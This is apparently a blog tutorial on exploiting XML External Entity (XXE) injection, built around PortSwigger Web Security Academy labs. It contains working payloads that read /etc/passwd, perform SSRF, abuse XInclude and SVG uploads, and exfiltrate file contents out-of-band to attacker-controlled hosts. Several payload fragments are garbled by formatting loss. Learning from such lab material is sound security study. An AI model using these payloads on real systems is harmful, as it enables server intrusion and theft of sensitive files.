Exploiting XML External Entity (XXE) Injections
Tags: Hacking, Information Security, Cybersecurity, Bug Bounty

XXE injection is a type of web security vulnerability that allows an attacker to interfere with the way an application processes XML data. Successful exploitation allows an attacker to view files from the application’s server and interact with any external or backend systems that the application can access.

Understanding XML Entities

XML

XML stands for extensible markup language and is designed for storing and transporting data. It is like HTML in that it has a tree-like structure of tags and data but with XML there are no predefined tags such as h1 , img , div , etc.; tags are custom named for the data they represent.

XML Entities

XML entities are a way of representing an item of data within an XML document, instead of using the data itself. Think of it as a variable in programming.

Document Type Definition

It contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD can be fully self-contained within the XML document (known as internal DTD) or it can be loaded from elsewhere (known as external DTD). The DTD is declared within the DOCTYPE element at the beginning of the XML document.

<!DOCTYPE name_for_doctype[ {some_data_here} ]>

XML Custom Entities

Custom entities are like custom variables that can be created within the DTD. For example: <!DOCTYPE foo [ <!ENTITY myentity “my entity value” > ]> . Here any reference to the entity &myentity; would be replaced withe data “ my entitiy value" . So knowing that we can create custom entities, it is then possible to create a custom one using predefined data from an application’s server.

XML External Entities

XML external entities are a type of custom entity whose definition is located outside of the DTD where they are declared.

The declaration of an external entity uses the SYSTEM keyword and must specify a URL from which the value of the entity should be loaded.

<!DOCTYPE foo [ <!ENTITY ext SYSTEM “http://attacker-controlled-site.com" > ]>

Or you can use other protocols besides http such as file . So combining all the information we have learned we could pull data from the server’s /etc/passwd file.

<!DOCTYPE foo [ <!ENTITY ext SYSTEM “file:///etc/passwd” > ]>

Exploiting XXE Vulnerabilities

Causes of XXE

When applications use XML to transport data between browser and server, the applications almost always use a a standard API for processing the XML on the server. Vulnerabilities arise because parsers will, by default, process potentially dangerous features.

Exploiting XXE to Retrieve Files

To perform an XXE injection that retrieves an arbitrary file from the server’s filesystem, you need to modify the submitted XML in two ways:

Introduce (or edit) a DOCTYPE element that defines an external entity containing the path to the file. Edit a data value in the XML that is returned in the application’s response, to make use of the defined external entity.

For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:

<?xml version=”1.0" encoding=”UTF-8"?>

<stockCheck><productId>3301</productId></stockCheck>

Here, the application performs no XXE defenses and because of this it is possible to exploit. The payload you would insert to retrieve the contents of the server’s /etc/passwd file would be

<?xml version=”1.0" encoding=”UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>

<stockCheck><productId>&xxe;</productId></stockCheck>

The DOCTYPE element has been inserted using the SYSTEM keyword to reference an external entity from the server and then uses the &xxe; entity in the request to retrieve the data we want. How diabolical!

Exploiting XXE to Perform Server-Side Request Forgery (SSRF)

From Burp Suite’s Web Security Academy they explained how it is possible to use XXE to make server-side requests. It follows the same format from above however instead of using the file protocol, you would use the http protocol to make a request to some server-side IP. In their lab, the goal was to retrieve an IAM token from the server. To accomplish this you would make a request to the specified IP address and in each response it would give a hint for the next path variable. After concatenating each path name, you would finally get the desired token. Below is the solution:

Hidden Attack Surfaces for XXE Injections

The attack surface for XXE injection vulnerabilities is obvious in many cases because the application’s normal HTTP traffic includes requests that contain data in XML format. In other cases, the attack surface is less visible. Below are two examples of more hidden attack surfaces.

XInclude attacks

Some applications will receive client-submitted data, embed it on the server-side into an XML document and then parse the document. If there is ever an opportunity to look for an attack surface it is exactly in this scenario: when a server takes arbitrary input and does something with it. An example of this occurs when client-submitted data is placed into a backend SOAP request, which is then processed by the backend SOAP service.

SOAP is known as Simple Object Access Protocol and is an XML-based protocol for accessing web services over HTTP. SOAP was developed as an intermediate language so that applications built on various programming languages could talk easily to each other and avoid extra development effort.

In the above scenario you do not have control over the entire XML document (because of the use of SOAP) and for that it is not possible to insert or edit a DOCTYPE element. To circumvent this, it is possible include XInclude which is part of the XML programming language that allows an XML document to be constructed from sub-documents (which in our case will be requests that we make to the server). You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.

To perform an XInclude attack, you need to reference the XInclude namespace and provide the path to the file that you wish to include (much like a normal XXE attack. Below is the solution payload for one of the challenges on PortSwigger’s Web Sec Academy:

You have to put the payload in the value of one of the variables in the request, which is productId in this case. The payload will consist of a reference to the XInclude using the xmlns:xi attribute, the href attribute which will reference the file we are trying to receive and because XInclude will attempt to parse the file as valid XML (which it isn’t) we have the parse='text' to prevent it from doing so.

XXE via File Upload

Some applications allow users to upload files which are processed server-side. Some common file formats use XML or contain XML subcomponents, including office document formats like DOCX and image formats like SVG. If an application expects JPEG or PNG file formats it still may accept SVG files and process them accordingly. Since SVG files use XML this is another attack vector for an XXE injection. Below is another solution payload for a lab on Web Sec Academy.

Again the same format for the other XXE payloads applies here. We create the tag for DOCTYPE , create the entity and reference the file that we want to access. The next part is the svg tag that “creates” our image. We create the size of the image and then within it create a text tag to place some custom text. However the custom text is the reference to the entity that we created: &xxe; and this will then force the server to process this data, create the image and place the contents of /etc/hostname inside of it. GG.

XXE Attacks via Modified Content Type

Most POST requests use a default content type that is generated by HTML forms, such as application/x-www-form-urlencoded . Some web sites expect to receive requests in this format but will process other content types, including XML.

If a normal request contains the following:

POST /hackingman HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 7 cicada=3301

and you submit the same request in XML format:

POST /hackingman HTTP/1.0

Content-Type: text/html

Content-Length: 7 <?xml version="1.0" encoding="UTF-8"><cicada>3301</cicada>

and the server accepts this then you have just found another surface to inject some malicious XML.

Exploiting Blind XXE Vulnerabilities

Blind XXE vulnerabilities arise when the application is vulnerable to XXE but doesn’t return the value of any defined external entities within its response. Because of this, exploiting Blind XXE is more difficult than the previous examples but it is still manageable. Two ways to find and detect them are:

Triggering out-of-band network interactions (I’ve been using Burp Collaborator for this) to exfiltrate sensitive data to an attacker controlled server. Triggering XML parsing errors in a way that the error messages reveal the data you are trying to steal.

Below are a series of labs that I have completed in PortSwigger’s Web Security Academy that have helped me understand exploiting blind XXE.

Detecting Blind XXE using Out-of-Band Techniques

The first way we can detect blind XXE is through triggering out-of-band network interaction to a server we control. Burp Suite Pro allows use of the the Collaborator server which can act as your attack server. To detect blind XXE, you would construct a payload like:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com"> ]>

where attacker.com is the site you control. A sample Burp Collaborator server address would be http://wpp4w63vbnnhghjj4zz.burpcollaborator.net . The entire example in the first lab to trigger an interaction with our server would then be:

&xxe;</productId><storeId>1</storedId></stockCheck> http://wpp4w63vbnnhghjj4zz.burpcollaborator.net "> ]> 1

Detecting Blind XXE using Out-of-Band Techniques with Application Filtering

Sometimes XXE attacks using regular entities are blocked due to some input validation by the application or some hardening of the XML parser that is being used. Instead you might be able to use XML parameter entities, which are a certain kind of XML entity that can only be used within the DTD. To use parameter entities, you must preface your entity with a percent sign when declaring it and calling it. For example:

So if we are trying to trigger an out-of-band interaction then a payload would look like the following:

http://wpp4w63vbnnhghjj4zz.burpcollaborator.net "> %xxe; ]> 1 1

Notice how the entire payload is contained within the DTD, we do not call %xxe; outside of it in the <productID> tag like we did previously.

Exploiting Blind XXE to Exfiltrate Data Out-of-Band

Now that we have detected a Blind XXE exists, it is time to get the data from the server. To do so, we will create two parameter entities: one will be a reference to the file we want to retrieve from the server and the other will use the aforementioned entity in an entity that we create that will be a reference to our external sever. Below is a proper example from one of PortSwigger’s labs:



<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM '

%eval;

%exfiltrate; http://im81nr4zhac2lafxnm997qwk6bc20r.burpcollaborator.net/?x=%file;' >">%eval;%exfiltrate;

Above is the actual payload you would write to steal the hostname. The first line defines the XML parameter entity fort /etc/hostname , the second line creates an XML parameter entity named eval which contains a dynamic declaration to another XML parameter entity to exfiltrate . The exfiltrate entity will be evaluated by making an HTTP request to the attacker’s web server containing the value of the file entity within the URL query string. Then we call both parameter entities. To call this payload, we use the exploit code below, which is the same code that we saw in the previous section. The url for SYSTEM is the url to the exploit server that has been provided by PortSwigger for this lab. The server holds the payload at the /exploit endpoint.

Exploiting blind XXE to retrieve data via error messages

If the above method does not work, an alternative approach to exploiting blind XXE is via the triggering of a parsing error message that will contain the data you are attempting to exfiltrate. The payload and exploit is very similar to the above approach; however, the only difference is that you do not need to have a server to receive any kind of request, but you need one to host your payload. Below is an example:

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">

%eval;

%error;

This is the same structure as when you’re trying to exploit blind XXE through out-of-band techniques. The difference, however, is in the second line. We create an XML parameter entity called error , which will be evaluated by loading a nonexistent file whose name contains the value of the file entity. Then we we call the error entity in the last line, it will be evaluated by attempting to load the nonexistence file, which will of course result in an error message containing the name of the file, including the contents of the file entity.

Again, this code will have to be hosted on a server that you control. From there you would make the similar request that we did in the previous approach. It would look something like:

Exploiting blind XXE by Repurposing a Local DTD

The last technique works when you cannot make a request to an external DTD and you must include the payload in the internal DTD. The previous two techniques involved using a XML parameter entity within the definition of another entity. This is allowed in an external DTD but not in an internal one. To get around this, we will have to rely on an application that uses a mix of both internal and external DTD declarations. If this is the case then an internal DTD can edit entities that have already been declared in an external DTD.

A key component of this attack is finding a legitimate DTD file on the server. For example, Linux systems using the GNOME desktop environment often have a DTD file at /usr/share/yelp/dtd/docbookx.dtd . That file contains the entity ISOamso . Knowing this we can create our payload all within the internal DTD. Below is an example payload that would steal the contents of /etc/passwd

<!DOCTYPE foo [

<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

<!ENTITY % ISOamso '

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">

%eval;

%error;

'>

%local_dtd;

]>

The first ENTITY , local_dtd , contains the contents of the external DTD file that exists on the hypothetical Linux server. The second ENTITY , ISOamso , already exists in the external DTD and its being redefined to contain the same exploit as from the above method (XXE via Error Parsing). It will trigger an error, which will hopefully cause the error message to reveal the contents of /etc/passwd . local_dtd is then called so that the external DTD is interpreted, including its newly redefined ISOamso value.

Thanks for reading if you have made it this far!